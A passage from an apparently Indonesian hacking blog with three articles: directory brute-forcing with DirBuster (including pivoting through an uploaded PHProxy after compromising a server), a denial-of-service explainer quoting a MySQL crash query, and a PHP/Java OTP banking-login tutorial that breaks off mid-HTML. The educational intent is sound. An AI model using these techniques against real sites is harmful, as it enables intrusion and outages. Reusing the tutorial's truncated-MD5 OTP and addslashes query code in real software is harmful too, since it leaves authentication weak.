Ada banyak macam halaman login, umumnya adalah halaman login untuk mengelola isi website, yaitu CMS Administrator. Selain CMS, halaman login yang lain adalah phpMyAdmin, cpanel, Tomcat Admin Page, AXIS2 Admin Page dll. Tomcat dan AXIS2 adalah Java based webserver dan web service platform.
Kenapa halaman login termasuk sensitif? Karena dengan mengetahui URL untuk menjadi Administrator website, seorang hacker bisa melakukan serangan SQL Injection, password guessing, dictionary attack dan brute force attack untuk membuat dirinya menjadi seorang administrator di website anda. Celakanya banyak website yang halaman login adminnya tidak menggunakan password yang kuat, bahkan menggunakan password default.
  • Log file
Log file biasanya dipakai untuk tujuan debugging atau penelusuran kesalahan oleh web developer. Karena itu tidak heran bila dalam log file banyak mengandung informasi sensitif yang bisa dimanfaatkan hacker. File log ini berbeda-beda tergantung dari web aplikasi yang dipakai karena web developer punya kebebasan untuk membuat  atau tidak membuat file log.
Salah satu contoh log file yang biasa ditemukan di web adalah WS_FTP.LOG, file ini dibuat oleh program WS_FTP, yaitu FTP Client. Setiap kali memakai program ini untuk upload ke web anda, WS_FTP akan otomatis memasukkan file WS_FTP.LOG ke dalam folder website anda. Dalam file WS_FTP.LOG ini seorang hacker bisa mendapatkan banyak informasi sensitif: antara lain IP address web server anda (banyak web yang menyembunyikan IP address sebenarnya dibalik NAT), full path lokasi document root web anda, username account hosting anda (bila dalam full path mengandung nama seperti /home/username/…./).
WS_FTP.LOG juga bisa membocorkan isi sebuah direktori bila anda sudah mematikan fitur “Directory Indexing” atau membuat file index.html kosong. Seorang hacker yang tidak bisa melihat isi direktori karena directory index dimatikan atau ada file index.html kosong, bisa mencoba membuka WS_FTP.LOG di direktori itu. Bila ternyata file WS_FTP.LOG ada, maka file log itu akan membocorkan isi file dalam direktori tersebut.
Pesan error di atas umumnya dijumpai pada direktori yang ada, tapi directory indexing tidak diaktifkan, sehingga anda harus menebak nama file yang ada di direktori tersebut. Bila directory indexing diaktifkan, maka anda akan menemukan halaman dengan title “Index of /”.
  • Versi Lama
Terkadang ketika sebuah website diupdate ke versi baru, file-file script lama disimpan dalam satu direktori bernama oldversion, version1 dan versi barunya dalam direktori /new/ atau /ver2/ atau /beta/. Menemukan beragam versi suatu web adalah kesempatan emas untuk menemukan celah keamanan karena biasanya web versi terbarunya memang tidak mengandung kelemahan, namun bila kita berhasil menemukan versi lamanya, akan ditemukan banyak celah keamanan.
Saya pernah menemukan sebuah website yang securitynya bagus, saya tidak menemukan vulnerability di sana, namun ternyata dia lupa membuang versi lama dari web tersebut. Namun ternyata web versi lama yang mengandung banyak bug dari SQL injection sampai local file injection masih bisa diakses di direktori lain. Walaupun web versi terbaru securitynya bagus, namun jadi tidak berarti apa-apa karena hacker bisa menyerang dari web versi lamanya.
Berburu Direktori dan File Sensitif
Nama direktori atau file bisa ditemukan dengan 2 cara:
  • Crawling
Crawling ini adalah cara yang dipakai oleh search engine untuk mendapatkan isi website anda.  Ini adalah cara yang “sopan”, karena kita hanya mencari apa yang memang disediakan oleh pemilik webnya. Search engine crawling akan mengikuti direktori apa yang boleh dan apa yang tidak boleh diambil dalam file /robots.txt. Jadi bila ada direktori sensitif yang bisa di-search di Google, maka itu terjadi karena di suatu situs ada pointer ke obyek itu berupa link. Bila di seluruh jagat internet ini tidak ada satupun link ke direktori itu, maka tidak mungkin direktori itu muncul di Google.
Kita bisa memanfaatkan Google Hacking untuk mencari direktori sensitif yang sengaja atau tidak sengaja ter-index oleh Google. Kita juga bisa membuat script atau memakai program semacam wget untuk melakukan crawling website  (tidak memanfaatkan Google index). Menjalankan crawler sendiri terkadang diperlukan bila kita ingin melakukan crawling direktori yang search engine dilarang untuk masuk (diblacklist di /robots.txt).
  • Guessing
Bila dengan cara sopan tidak mendapatkan direktori sensitif, maka kita terpaksa pakai cara “kasar”. Mendapatkan direktori sensitif dengan cara ini sama dengan menebak password. Ada dua cara yang bisa dipakai:
  1. Pure Brute Force Attack
  2. Cara ini adalah cara yang paling kasar. Kita mencoba semua kemungkinan kata yang muncul dari huruf , angka dan karakter lain sebagai nama direktori atau nama file. Contoh: request /aa/, lalu /ab/, lalu /ac/, lalu /ad/, demikian seterusnya sampai semua kemungkinan yang ada dicoba. Cara ini membutuhkan waktu yang sangat lama, jadi kurang efektif. Tapi kelebihannya adalah tidak ada direktori yang lolos, karena semua kemungkinan akan dicoba.
  3. Dictionary Attack
  4. Ini adalah cara yang lebih sopan dibanding pure brute force. Kita menggunakan kamus, yaitu kumpulan nama yang akan kita pakai untuk request ke web server. Efektif tidaknya cara ini tergantung dari bagaimana kualitas kamus yang dipakai. Semakin baik kualitas kamusnya, semakin besar kemungkinan berhasil mendapatkan direktori sensitif. Kamus yang baik adalah kamus berisi kata yang memang benar-benar pernah dipakai untuk nama direktori, jadi bukan nama fiktif atau karangan.
DirBuster dari OWASP
Dalam artikel ini saya akan menggunakan tools gratisan, DirBuster yang dibuat oleh OWASP (Open Web Application Security Project), sebuah kelompok non-profit yang berfokus pada keamanan web. Seperti yang sudah saya katakan sebelumnya, kekuatan tools semacam ini tergantung pada kualtias kamus yang dimilikinya.
DirBuster memiliki kamus yang sangat lengkap, bukan nama fiktif yang tidak pernah dipakai, tapi memang benar-benar nama yang pernah dipakai sebagai nama direktori. Kumpulan nama ini didapatkan dari internet dengan cara melakukan crawling terhadap situs-situs internet lalu mengelompokkannya. Kumpulan nama yang dipakai minimal 3 situs berbeda ditaruh di file dengan akhiran small.txt, kumpulan nama yang dipakai minimal 2 situs berbeda ditaruh di file dengan akhiran medium.txt, dan semua nama yang ditemukan ditaruh dalam file berakhiran big.txt.
Bila anda membutuhkan daftar nama direktori saja untuk dipakai di program lain, anda juga bisa mendownload kamusnya saja tanpa harus mendownload DirBuster.
Tools ini sangat mudah digunakan, jadi silakan saja langsung download DirBuster. Sebelumnya pastikan dulu komputer anda sudah terinstall Java, karena tools ini dibuat dengan Java.
Scanning Type
Ada dua jenis scanning yang bisa dilakukan, pure brute force atau dictionary based attack. Bila anda memilih memakai teknik pure brute force, maka anda harus menentukan character set (kumpulan karakter) yang akan dijadikan nama direktori dan tentukan juga panjang minimal dan maksimalnya. Semakin besar populasi dari character set yang anda pilih dan semakin panjang max length yang anda pilih, semakin besar kumpulan kata yang dihasilkan, itu artinya dibutuhkan waktu yang semakin lama untuk mencoba semuanya. Gambar di bawah ini adalah screenshot ketika memilih pure brute force.
Bila memilih list based brute force, maka kita harus memilih file berisi daftar nama direktori. DirBuster sudah menyediakan banyak dictionary yang bisa dipilih sesuai kebutuhan:
  • directory-list-2.3-small.txt  (87650 words) : Minimal dipakai di 3 situs berbeda.
  • directory-list-2.3-medium.txt  (220546 words) : Minimal dipakai di 2 situs berbeda.
  • directory-list-2.3-big.txt  (1273819 words) : Minimal pernah dipakai.
  • directory-list-lowercase-2.3-small.txt  (81629 words) : Versi case insensitive dari directory-list-2.3-small.txt
  • directory-list-lowercase-2.3-medium.txt  (207629 words) : Versi case insensitive dari directory-list-2.3-medium.txt
  • directory-list-lowercase-2.3-big.txt  (1185240 words) : Versi case insensitive dari directory-list-2.3-big.txt
  • directory-list-1.0.txt  (141694 words)  : Daftar awalnya, tidak terurut
  • apache-user-enum-1.0.txt  (8916 usernames) : Dipakai untuk user enumeration, mendapatkan valid username di sebuah server
  • apache-user-enum-2.0.txt  (10341 usernames) : Dipakai untuk user enumeration
Dalam list yang disediakan DirBuster juga menyediakan daftar username yang dipakai untuk user enumeration, yaitu mendapatkan nama user yang valid di sebuah server. Dalam web server Apache yang mengaktifkan mod_userdir, bisa dilakukan user enumeration dengan cara menggunakan ~namauser sebagai nama direktori.
Gambar di bawah ini adalah screenshot ketika kita memilih menggunakan dictionary attack.
Starting Options
Pilihan lain yang harus dipilih adalah starting options, yaitu di mana titik mulainya DirBuster mencari direktori. Pilihannya adalah standard start point, atau URL Fuzz. Standard start point adalah pilihan yang paling banyak digunakan karena pilihan ini berarti kita meminta DirBuster untuk menggunakan nama direktori sebagai titik awal.
Pilihan yang ada ketika kita memilih Standard Start Point adalah checkbox Brute Force Dirs yang bisa dimatikan bila kita tidak ingin ingin membrute Direktori. Brute Force Files bisa dimatikan bila kita tidak ingin mencari file. Dua pilihan tersebut bisa diatur sesuai kebutuhan, apakah ingin mencari direktori dan nama file, atau direktori saja, atau nama file saja.
Pilihan File extention bisa diisi dengan ekstensi file yang ingin dicari, misalnya bisa kita isi dengan php, zip, gz, tar.gz. Namun bila kita tidak ingin menggunakan ekstensi, kita bisa centang pilihan Use Blank Extention.
Pilihan Be Recursive digunakan untuk membuat DirBuster melakukan pencarian secara mendalam (Deep First Search), yaitu mencari subdirektori dalam sebuah direktori, mencari sub-subdirektori dalam subdirektori dan seterusnya sampai kedalaman tertentu.
Ada kalanya kita harus membrute force nama direktori yang merupakan bagian dari parameter URL. Dalam kasus seperti itu kita bisa memakai pilihan URL Fuzz. Salah satu contoh kasusnya adalah ketika kita ingin melakukan scanning melalui sebuah web based proxy seperti PHPProxy.
Ketika kita ingin scanning website internal dengan IP address private dari website public yang sudah berhasil kita susupi, kita bisa gunakan PHProxy. URL PHProxy biasanya berbentuk http://somewebsite/myproxy/?q=http://situstarget/{dir}. Dalam kasus seperti ini, pilihan URL Fuzz bisa sangat berguna. Gambar di bawah ini menunjukkan skenario tersebut. Setelah seorang hacker berhasil menguasai web server public, dia akan mengupload web based proxy seperti PHProxy. Dengan proxy tersebut hacker bisa melebarkan serangannya ke arah dalam dengan menyerang web server internal yang tidak bisa dijangkau dari internet.
Walaupun tools ini sangat sederhana, tapi jangan remehkan keampuhannya. Silakan coba saja sendiri, mungkin nanti anda akan terkejut melihat banyaknya webmaster yang sembrono menaruh file/direktori sensitif di websitenya.

Memahami Serangan Denial of Service

0 komentar
Dalam artikel ini saya akan menjelaskan mengenai jenis serangan yang bisa dikatakan tidak ada obatnya, yaitu denial of service atau DoS. Bila serangan DoS ini dilakukan secara beramai-ramai dan terorganisir dengan baik, maka akan menghasilkan kerusakan yang dahsyat dan sanggup melumpuhkan situs-situs populer seperti twitter.com dan metasploit.com.
Apa itu DoS
Denial of service adalah jenis serangan yang tujuannya adalah mencegah pengguna yang sesungguhnya menikmati layanan yang diberikan server. Server sesuai namanya adalah pelayan yang harus selalu siap melayani permintaan pengguna, yang umumnya beroperasi 24 jam tanpa henti. Contohnya adalah web server yang bertugas melayani pengunjung web menyediakan informasi dalam bentuk halaman html. Dalam kondisi normal, pengunjung dapat meminta resource dari web server untuk ditampilkan dalam browsernya, namun bila web server terkena serangan DoS maka pengunjung tidak bisa menikmati layanan web server.
Secara umum ada 2 cara melakukan serangan DoS:
  1. Mematikan Server
  2. Menyibukkan Server
    • Tanpa bug/vulnerability
    • Meng-exploit bug/vulnerability
DoS dengan Mematikan Server: Kill Them!
Anda pernah mengalami ingin memakai telepon umum atau ATM namun tidak bisa karena di mesin tersebut ditempel kertas berisi pesan “Out of Service” atau “Sedang dalam perbaikan”. Telepon umum adalah target serangan DoS yang biasa terjadi, dimana-mana kita menemukan telpon umum yang rusak karena serangan DoS seperti membanting gagang telpon, mencabut kabel, memecahkan LCD dan aksi-aksi lainnya.
Tujuan serangan ini adalah membuat server shutdown, reboot, crash, “not responding”. Jadi serangan ini menghasilkan kerusakan yang sifatnya persisten artinya kondisi DoS akan tetap terjadi walaupun attacker sudah berhenti menyerang, server baru normal kembali setelah di-restart/reboot.
Bagaimana cara serangan DoS ini dilakukan? Serangan ini dilakukan dengan meng-exploit bug/vulnerability pada server. Kata kunci pada vulnerability jenis ini biasanya adalah “specially/carefully crafted packet/request”, yang artinya paket yang dirancang khusus. Kenapa dirancang khusus? Sebab dalam paket itu mengandung  sifat tertentu yang membuat server mati ketika mengolah paket khusus itu.
Mari kita perhatikan beberapa contoh vulnerability yang berakibat pada DoS attack:
  • Ping of Death ( CA-1996-26 )
  • Ini adalah jenis bug yang sudah sangat tua. Praktis sudah tidak ada lagi sistem yang vulnerable terhadap bug ini. Bug ini bila diexploit akan membuat server crash, freeze atau reboot. Serangan ini dilakukan dengan mengirimkan “specially crafted” paket berupa oversized ICMP packet, yaitu paket yang ukurannya di atas normal. Ketika server menerima dan memproses paket yang “aneh” ini, maka server akan crash, freeze atau reboot. Ini adalah contoh serangan DoS “one shot one kill” karena bisa merusak server hanya dengan satu tembakan saja.
  • MySQL IF Query DoS ( SA25188 )
  • Bug ini akan membuat mysql server menjadi crash hanya dengan mengirim sql khusus yang mengandung fungsi IF() contohnya: “SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)))”. Ini juga jenis serangan “one shot one kill”.
  • Cisco Global Site Selector DNS Request Denial of Service (SA33429)
  • Bug ini membuat DNS server Cisco mati dengan mengirimkan beberapa “specially crafted” paket request DNS dalam urutan tertentu.
Tiga contoh di atas kiranya cukup memberikan gambaran tentang bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah attacker memanfaatkan (baca:mengexploit) bug yang membuat server berhenti bekerja dan biasanya dilakukan sendirian secara remote dengan mengirimkan specially crafted packet.
DoS dengan Menyibukkan Server: Make Them As Busy As Possible!
Pada waktu menjelang lebaran kita sering merasa begitu sulit mengirim sms, bahkan sering terjadi gagal kirim. Begitu juga ketika berlangsung acara kuis di TV, mengelpon ke nomor untuk menjawab kuis terasa begitu sulit.  Hal ini terjadi karena ada begitu banyak orang yang mengirim sms pada saat lebaran dan menelpon pada waktu kuis sehingga membuat jaringan telekomunikasi menjadi begitu sibuk sampai tidak bisa melayani pengguna lain. Peristiwa itu mirip dengan yang terjadi ketika sebuah server mendapat serangan denial of service. DoS yang terjadi pada peristiwa tersebut bukan jenis DoS yang mematikan server, namun jenis DoS yang menyibukkan server.
Jenis DoS ini bersifat sementara, server akan kembali normal bila attacker berhenti mengirimkan request yang membuat sibuk server.
DoS jenis ini terbagi lagi menjadi 2 jenis berdasarkan cara melakukan serangan:
  • Exploiting vulnerability: Menyerang dengan malicious request/packet
  • No vulnerability exploitation: Menyerang dengan normal request/packet
Membuat server sibuk dengan mengexploitasi vulnerability lebih cepat daripada tanpa mengeksploit vulnerability.
Make Server Busy by Exploiting Vulnerability
Dalam serangan DoS jenis ini, attacker memanfatkan bug yang membuat server berlebihan dalam menggunakan resource (cpu,memory,disk space dsb). Attacker akan mencari cara bagaimana agar membuat server bekerja ekstra keras (jauh lebih keras dari request normal) untuk melayani request dia. Biasanya serangan DoS jenis ini tidak berupa serangan “one shot one kill”. Serangan dilakukan dengan melakukan banyak request dengan setiap request membuat server mengonsumsi lebih banyak resource dari request yang normal.
Dalam hitungan matematika sederhana, bila attacker bisa membuat server bekerja selama 10 detik  hanya untuk melayani dia (misal normalnya 0,1 detik), maka attacker bisa mengirimkan request 1.000x untuk membuat server melayani dia selama 10.000 detik (2,7 jam lebih) sehingga membuat pengguna lain tidak bisa menikmati layanan server.
Untuk lebih memahami DoS jenis ini, mari kita lihat contoh-contoh vulnerability yang bisa diexploit untuk melancarkan serangan DoS jenis ini:
  • TCP SYN Flood DoS
  • Ini adalah serangan DoS yang sudah sangat tua. Attacker menyerang dengan cara membanjiri server dengan malicious request berupa paket SYN dengan fake source IP address. SYN packet adalah paket dari client yang mengawali terbentuknya koneksi TCP/IP, setelah itu server akan membalas dengan SYN-ACK, dan dilengkapi dengan paket SYN-ACK-ACK dari client, tiga proses ini disebut three way handshake. Triknya adalah pada fake source ip address pada paket SYN dari client. Akibatnya server akan mengirim SYN-ACK (step 2) ke ip address yang salah sehingga server juga tidak akan mendapatkan balasan SYN-ACK-ACK dari client. Padahal untuk setiap client yang mencoba membuka koneksi, server akan mengalokasikan resource seperti memori dan waktu untuk menunggu datangnya balasan ACK dari client. Dengan cara ini attacker menghabiskan resource server hanya untuk melayani request palsu dari attacker.
  • Apache mod_deflate DoS
  • Apache menggunakan mod_deflate untuk memampatkan file. Bila visitor meminta sebuah file, maka apache akan menggunakan mod_deflate untuk memampatkannya kemudian mengirimkan ke visitor tersebut. Namun bila di tengah proses pemampatan, visitor memutuskan koneksi TCP, Apache masih terus bekerja memampatkan file untuk visitor yang sebenarnya sudah tidak ada (sudah disconnect). Jadi bugnya adalah pada borosnya pemakaian resource cpu untuk memampatkan file untuk client yang sudah tidak ada. Attacker memanfaatkan kelemahan ini dengan meminta sebuah file yang berukuran besar, kemudian dalam waktu singkat memutuskan koneksi sehingga membuat server bekerja keras mempatkan file untuk visitor yang sudah tidak ada. Request ini diulang berkali-kali sampai server begitu sibuknya dan semua resource cpu habis.
Dua contoh vulnerability di atas cukup menjelaskan bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah dengan mengirim banyak malicious request/paket  yang membuat server mengonsumsi resource lebih banyak dan lebih lama untuk setiap requestnya.
Make Server Busy Without Exploiting Vulnerability
Ini adalah jenis serangan yang mengandalkan pada kemampuan mengirimkan normal request sebanyak-banyaknya sehingga server menjadi sibuk. Perbedaan DoS jenis ini dengan DoS yang mengexploit vulnerability adalah pada requestnya. Request yang dikirimkan pada DoS jenis ini adalah request yang normal seperti yang dilakukan pengguna biasa, sehingga server tidak mengonsumsi resource berlebihan. Sedangkan DoS yang mengandalkan vulnerability mengirimkan specially crafted malicious request untuk membuat server mengonsumsi resource lebih banyak untuk melayani malicious request tersebut.
Normal request hanya membuat server mengonsumsi resource dalam jumlah biasa-biasa saja, tidak akan mengganggu kerja server secara keseluruhan. Diperlukan normal request dalam jumlah yang sangat banyak untuk membuat server terganggu kerjanya. Jadi agar serangan ini menjadi efektif, maka serangan harus dilakukan beramai-ramai dari banyak tempat, semakin banyak penyerang semakin bagus hasilnya. Serangan ini juga disebut dengan distributed DoS (DDoS) karena dilakukan dari banyak lokasi yang terdistribusi (tersebar).
Serangan DDoS dilakukan dengan menggunakan komputer zombie atau robot. Zombie adalah komputer yang sudah dikuasai attacker sehingga bisa dikendalikan dari jarak jauh. Sekumpulan komputer zombie membentuk jaringan yang disebut bot-net. Attacker mendapatkan banyak zombie dengan menyebarkan virus atau worm, setiap komputer yang terinfeksi akan diinstall program yang membuat komputer bersedia menjalankan perintah dari attacker.
DDoS Botnet Attack
Courtesy of: www.dos-attack.net
Gambar di atas menjelaskan cara kerja DDoS. Attacker memberi perintah kepada semua pasukannya untuk membuat request HTTP ke sebuah website. Bila pasukan yang dikuasai attacker sangat besar, maka web server akan dibanjiri request sehingga menjadi terlalu sibuk dan tidak bisa diakses oleh pengguna yang sebenarnya (real visitor).
Serangan jenis ini tidak ada obatnya karena attacker tidak meng-exploit bug atau vulnerability apapun. Bila pada jenis DoS yang lain, serangan dapat dicegah dengan melakukan patching atau update software, maka serangan ini tidak bisa dihentikan dengan update atau patch.
Kesimpulan
Denial of service adalah serangan yang membuat server tidak bisa melayani pengguna yang sesungguhnya. Berikut adalah jenis-jenis serangan DoS berdasarkan cara melakukan serangan:
  • Mematikan Server: one shot, one kill untuk membuat server menjadi crash, hang, reboot.
  • Menyibukkan Server: mengirim banyak sekali request untuk membuat server sibuk.
    • Exploiting bug: mengirim banyak specially crafted request. Jumlah request tidak sebanyak jenis DoS yang menyibukkan server dengan normal request.
    • Normal request: mengirim banyak request normal seperti pengguna biasa. Diperlukan jumlah request yang lebih banyak dibandingkan jenis DoS yang menyibukkan server dengan exploit bug. Biasanya menggunakan botnet secara terdistribusi.

Membuat Web dengan Otentikasi berbasis Token

0 komentar
Pada artikel sebelumnya saya sudah menjelaskan cukup detil tentang cara kerja token yang dipakai pada internet banking. Artikel tersebut hanya menjelaskan sebatas teoretis saja, saya pikir akan lebih baik bila ada prakteknya. Oleh karena itu, seperti yang sudah saya janjikan, kali ini saya akan membuat sebuah contoh sederhana website dengan otentikasi yang menggunakan token seperti pada situs internet banking. Aplikasi token yang saya buat ini dikembangkan dari aplikasi yang bernama Mobile-OTP, dari aplikasi itu saya tambahkan beberapa fitur agar mirip dengan token yang dipakai di internet banking. Sedangkan aplikasi server/website saya harus membuat sendiri dari awal karena tidak tersedia di Internet.
Persiapan
Ada dua komponen yang terlibat dalam sistem ini, yaitu token yang dipakai oleh client dan tentu saja server. Token ada yang berwujud fisik seperti kalkulator kecil, ada juga yang berwujud software yang disebut juga virtual token. Sebenarnya token fisik maupun software sama saja, jadi dalam artikel ini saya akan membuat token yang berwujud software. Lebih spesifik lagi token ini dibuat dengan Java Mobile sehingga bisa diinstall di handphone yang mendukung Java. Jadi wujud fisik token yang berbentuk kalkulator bisa digantikan dengan wujud fisik sebuah handphone. Dalam artikel ini saya akan menggunakan emulator handphone yang dibundel dari Java Wireless Toolkit.
Komponen lainnya adalah server. Diperlukan web server dan database server, dalam artikel ini saya pakai XAMPP yang sudah dibundel dengan Apache, PHP dan MySQL.
Spesifikasi One Time Password di Aplikasi Contoh
Dalam aplikasi contoh ini, one time password didapatkan dengan mengambil 6 karakter pertama hasil penghitungan hash dengan fungsi MD5. Granularity sistem ini adalah 10 detik, dengan kata lain setiap 10 detik token akan menghasilkan OTP yang berbeda. Jika anda meminta token mengeluarkan OTP beberapa kali dalam rentang 10 detik, maka semuanya akan menghasilkan OTP yang sama. Kemudian baru ketika waktu masuk ke 10 detik berikutnya token akan menghasilkan OTP yang baru.
Dalam aplikasi contoh ini, umur OTP adalah 3 menit, artinya server harus menghitung semua OTP dalam time window 6 menit, yaitu 3 menit ke belakang dan 3 menit ke depan relatif terhadap waktu ketika server melakukan otentikasi. Konsekuensinya adalah setiap OTP yang dihasilkan token akan dianggap valid bila belum pernah dipakai dalam 3 menit sejak OTP dibangkitkan.
Spesifikasi Software Token
Token yang akan saya buat ini nantinya memiliki fitur yang sama dengan token internet banking pada umumnya. Pada kondisi normal nilai init-secret sudah ditanam di dalam token secara hardware, namun dalam token contoh ini tersedia fitur untuk melakukan inisialisasi nilai init-secret. Init-secret ini harus dicatat juga di server agar server bisa menghasilkan OTP yang sama dengan token.
Token bisa menghasilkan OTP dalam mode Challenge/Response maupun dalam mode Response Only (self generated). Challenge yang diterima oleh token adalah sepanjang 4 digit dan menghasilkan response sepanjang 6 digit hexadesimal.
Spesifikasi Website
Website dalam aplikasi contoh ini saya buat dengan PHP. Aplikasi ini terdiri dari 2 file saja, yaitu login.php dan transfer.php. Login.php digunakan untuk melakukan login dengan menggunakan response only pin dari token. Sedangkan transfer.php adalah untuk melakukan transfer uang dengan menggunakan challenge/response pin dari token.
Aplikasi ini saya pasang pada localhost yang terinstall Apache+MySQL+PHP dari XAMPP. Sebelum bisa melakukan transfer uang, user harus melakukan login di URL https://localhost/mytestbank/login.php . Perhatikan URL tersebut sengaja saya memakai https agar mirip dengan internet banking. Tentu saja browser anda akan berontak ketika menggunakan https karena memang saya tidak punya sertifikat yang ditandatangani CA untuk localhost. Bila anda kesulitan mengonfigurasi browser anda untuk memakai https tersebut, anda boleh memakai http biasa.
Pada saat login user diminta memasukkan username dan OTP yang dihasilkan dari token dalam mode response only (self generated). Bila login berhasil, maka user dialihkan ke halaman https://localhost/mytestbank/transfer.php . Berbeda dengan halaman login, pada saat transfer user diminta untuk memasukkan OTP dari token dalam mode challenge/response. Server memberikan challenge sepanjang 4 digit angka.
Aplikasi ini juga membutuhkan sebuah tabel MySQL bernama users yang saya masukkan dalam database bernama mytestbank. Tabel ini digunakan untuk menyimpan informasi pengguna website. Berikut adalah script SQL untuk membuat tabel users.
CREATE TABLE IF NOT EXISTS `users` (
  `id` INT(11) NOT NULL AUTO_INCREMENT,
  `username` VARCHAR(255) NOT NULL,
  `initsecret` VARCHAR(255) NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
Agar lebih mudah sebaiknya anda menginstall XAMPP atau WAMP dan menggunakan PhpMyAdmin untuk membuat tabel users tersebut.
Pembuatan Token
Token dibuat dengan Java Mobile (disebut midlet) yang sangat sederhana. Midlet ini hanya terdiri dari 2 file, yaitu MD5.java dan MobileOTP.java. Class MD5 adalah library untuk menghitung nilai hash MD5. Sedangkan class MobileOTP adalah class utama. Karena sourcenya cukup panjang, anda bisa mendownload sourcenya dalam file zip di sini. File zip itu bisa langsung anda extract ke dalam folder apps dalam Java Wireless Toolkit bila ingin menjalankan midlet itu dengan menggunakan emulator.
Saya akan menjelaskan fungsi utama dari token yaitu membangkitkan OTP dalam mode Challenge/Response dan mode Response Only. Perhatikan potongan kode token berikut yang berfungsi untuk membangkitkan OTP dalam mode Response Only.
now=new Date();          
epoch=""+(now.getTime()+((timez-12)*3600000));
epoch=epoch.substring(0,epoch.length()-4);
String otp=epoch+secret;
MD5 hash=new MD5(otp);
otp=hash.asHex().substring(0,6);
Kode di atas sangat sederhana, diawali dengan mengambil detik EPOCH sepanjang 9 digit (ini sama dengan EPOCH/10 karena granularitynya adalah 10 detik). Kemudian nilai EPOCH tersebut digabung dengan init-secret. String gabungan epoch dengan init secret ini dihitung hashnya dengan MD5. Kemudian 6 karakter pertama dari hash tersebut diambil sebagai OTP response only (self generated).
Kode berikut ini adalah untuk membangkitkan OTP dalam mode challenge/response. Kode tersebut sangat mirip dengan potongan kode di atas hanya perbedaannya adalah adanya challenge yang dalam kode tersebut ada pada variabel PIN. Gabungan dari epoch, init secret dan challenge dihitung nilai hashnya dengan MD5, baru kemudian diambil 6 karakter pertamanya sebagai OTP.
1
2
3
4
5
6
now=new Date();            
epoch=""+(now.getTime()+((timez-12)*3600000));
epoch=epoch.substring(0,epoch.length()-4);            
otp=epoch+secret+PIN;            
hash=new MD5(otp);            
otp=hash.asHex().substring(0,6);
Bila anda ingin mencobanya di hape anda, pastikan HP anda mendukung java. Anda bisa mengkopi file JAR aplikasi ini ke memory card anda dengan bluetooth/USB, atau anda bisa juga mendownload langsung dari browser hp anda. URL untuk mendownload file JAR midlet ini adalah http://www.ilmuhacking.com/wp-content/uploads/2009/07/MobileOTP.jar . Selanjutnya anda tinggal mengikuti petunjuk untuk instalasi aplikasi seperti biasa. Ingat sebelum dipakai diperlukan langkah inisialisasi nilai init-secret dengan cara mengetikkan #**# dalam field “CHAL”.
Berikut ini adalah screen capture dari aplikasi tersebut yang diinstall di HP saya. Dua gambar di bawah ini adalah prosedur inisialisasi init-secret ketika aplikasi pertama kali dijalankan. Nilai init secret ini harus dicatat dan disimpan ke dalam tabel user di server.
e90mobileotp1
e90mobileotp2
Gambar di bawah ini adalah screen shot ketika midlet token membangkitkan OTP dalam mode response only.
e90mobileotp5
Gambar di bawah ini adalah screen shot ketika midlet token membangkitkan OTP dalam mode challenge response.
e90mobileotp4
Pembuatan Aplikasi Web
Aplikasi web terdiri dari dua file yaitu login yang menggunakan OTP dalam mode response only, dan transfer yang menggunakan OTP dalam mode challenge response. Seperti halnya midlet token, aplikasi ini juga sangat sederhana. Fungsi utamanya adalah pada fungsi checkCR() dan checkRO() yang berfungsi untuk melakukan otentikasi dalam mode Challenge/Response atau Response Only. Berikut adalah isi dari fungsi checkCR dan checkRO.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Check Challenge/Response Mode
function checkCR($chal,$otp,$initsecret)
{
 $maxperiod = 3*60; // in seconds = +/- 3 minutes
 $time=gmdate("U");
 for($i = $time - $maxperiod; $i <= $time + $maxperiod; $i++)
 {
    $md5 = substr(md5(substr($i,0,-1).$initsecret.$chal),0,6);
    if($otp == $md5) return(true);
 }
return(false);
}
 
// Check Response/Only Mode
function checkRO($otp,$initsecret)
{
 $maxperiod = 3*60; // in seconds = +/- 3 minutes
 $time=gmdate("U");
 for($i = $time - $maxperiod; $i <= $time + $maxperiod; $i++)
 {
    $md5 = substr(md5(substr($i,0,-1).$initsecret),0,6);
    if($otp == $md5) return(true);
 }
return(false);
}
Perbedaan kedua fungsi itu hanya pada adanya $chal pada fungsi checkCR() sedangkan pada fungsi checkRO() yang digabungkan hanya epoch dan initsecret. Mari kita ulas kedua fungsi tersebut karena inti dari aplikasi ini ada pada kedua fungsi itu.
Dalam artikel sebelumnya saya sudah menjelaskan mengenai time window atau toleransi yang diberikan server ketika melakukan otentikasi. Dalam contoh ini time window yang diberikan server adalah 3 menit ke depan dan 3 menit ke belakang relatif terhadap waktu ketika server melakukan otentikasi. Waktu (dalam detik EPOCH) ketika server melakukan otentikasi disimpan pada variabel $time (baris ke-5 dan baris ke-18), sehingga server harus menghitung semua otp dari $time-180 hingga $time+180 (3 menit ke belakang dan 3 menit ke depan) pada baris ke-6 dan baris-19.
Selanjutnya pada barus ke-8 dan baris ke-21 server menghitung otp dengan mengambil 6 karakter awal dari fungsi hash gabungan dari epoch+initsecret dan challenge (khusus untuk checkCR).
Di bawah ini adalah source untuk file login.php. Untuk melakukan otentikasi, login.php memanggil fungsi checkRO() pada baris ke-12. Namun untuk memanggil fungsi checkRO() dibutuhkan init secret dari user yang disimpan dalam tabel users sehingga server harus melakukan query ke tabel users (baris ke-8). Selanjutnya bila otentikasi berhasil server akan menyimpan username dan initsecret pada session kemudian mengalihkan user ke aplikasi transfer (transfer.php).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
session_start();
include("initdb.php");
include("lib.php");
if (isset($_POST["login"])) {
 $username = addslashes($_POST["username"]);
 $pin = $_POST["pin"];
 $sql = "select initsecret from users where username='$username' ";
 $res=mysql_query($sql);
 if ($arr_row=mysql_fetch_array($res)) {
  $initsecret = $arr_row[0];
  $success = checkRO($pin,$initsecret);
  if ($success) {
   $_SESSION["username"] = $username;
   $_SESSION["initsecret"] = $initsecret;   
   header("Location: transfer.php");
  } else {
   $err = "Wrong PIN, Try Again.";
  }
 } else {
  $err = "Wrong PIN, Try Again.";
 }
}
?>
<html>
<body>
<H1>Login Internet Banking MyTestBank</H1>
